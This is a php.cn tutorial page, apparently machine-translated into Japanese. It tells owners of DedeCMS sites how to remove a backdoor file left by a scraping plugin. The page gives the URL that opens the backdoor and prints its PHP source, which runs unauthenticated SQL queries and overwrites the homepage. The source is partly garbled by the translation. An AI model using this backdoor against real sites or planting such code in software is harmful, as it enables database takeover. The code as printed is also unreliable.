ホームページ > php教程 > php手册 > DEDEコレクションマスターが残した公式バックドアを削除する方法

DEDEコレクションマスターが残した公式バックドアを削除する方法

WBOY
リリース: 2016-06-13 12:11:48
オリジナル
2009 人が閲覧しました

公式バックドアを削除する方法: コレクション マスターをインストールした後、インクルード ディレクトリ内の dedesql.query.php ファイルをすぐに削除してください。ファイルの名前は arc.sqlquery.class.php に変更されている可能性があります。それを削除します。このファイルを使用すると、ログイン認証なしで Web サイトのデータベースにクエリを実行したり、データの更新、削除、クエリなどの操作を実行したりできます。私が言ったとおりであるかどうかを自分でテストすることもできます。方法は次のとおりです:
http://your domain name.com/include/dedesql.query.php.php?dopost=viewinfo
上記の URL を入力してくださいバックドアインターフェイスを開きます。
正直に言うと、最善の方法は、意図的にバックドアを残すプログラムを使用しないことです。このバックドアは発見されましたが、次のいわゆる新しいバージョンでさらにバックドアが登場するかどうかは神のみぞ知るです。このバックドア ファイルのコードは次のとおりです:

コードをコピーします コードは次のとおりです:


require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename('dedesql.query.php','arc.sqlquery.class.php')){
エコー「成功!」;
}else{
echo "失败!";
}
exit();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "没有指定表名!";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute('me');
$row2 = $dsql->GetArray('me',MYSQL_BOTH);
$ctinfo = $row2[1];
echo "

".trim($ctinfo)."";
}
exit();
}
if($dopost=="index")
{
require_once(DEDEINC.'/arc.partview.class.php');
$envs = $_sys_globals = array();
$envs['aid'] = 0;
$pv = 新しい PartView();
$row = $pv->dsql->GetOne('Select * From `dede_homepageset`');
$templet = str_replace("{style}",$cfg_df_style,$row['templet']);
$homeFile = dirname(__FILE__).'/'.$row['position'];
$homeFile = str_replace("//","/",str_replace("\","/",$homeFile));
$fp = fopen($homeFile,'w') または die("無法更新网站主页到:$homeFile 位置");
fclose($fp);
$tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet;
$pv->SetTemplet($tpl);
$pv->SaveToHtml($homeFile);
$pv->Close();
echo "首页更新成功!";
終了();
}
else if($dopost=="query")
{
$sqlquery = トリム(stripslashes($sqlquery));
if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery))
{
echo " 'データベース' または 'データベース' の句はここでは実行できません。";
exit();
}
if(eregi("^select ",$sqlquery))
{
$dsql->SetQuery($sqlquery) ) );
$dsql->Execute();
if($dsql->GetTotalRow(){
echo "SQL を実行します: {$sqlquery},なし 記録に戻ります! ";
}
else
{
echo "SQL を実行: {$sqlquery}、「.$dsql->GetTotalRow()」レコードがあり、最大 100 レコードが返されます。 ! ";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j ;
if($j>100 )
{
break;
}
echo "


";
echo "レコード: $j"; echo "
";
foreach($row as $k=>$v)
{
echo "{$k}:
exit();
}
if ($querytype==2)
{
$sqlquery = str_replace("r","",$sqlquery);
$sqls = split(";[ t]{0,}n ", $sqlquery);
$nerrCode = "";$i=0;
foreach($sqls as $q)
{
$q = トリム($q);
if( $q=="")
{
続行;
$dsql->ExecuteNoneQuery($q); () );
if($errCode=="")
{
$i ;
}
else
{
$nerrCode .= "実行: < font color ='blue'>$q
エラー、エラー メッセージ: ".$errCode."
";
}
}
echo "{$i} SQL ステートメントが正常に実行されました。

";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = トリム($dsql->GetError());
echo "1 つの SQL ステートメントが正常に実行されました。

";
echo $nerrCode;
}
exit();
}
if($dopost=="view")
{
;echo '


SQL命令行工具
















SQL命令运行器: 数据备份
| 数据还原



























系统的表信息:








 















返信情報:

运行SQL コマンド実行:

单行コマンド(简单查询)

複数行コマンド


 





';}
?>
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のおすすめ
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート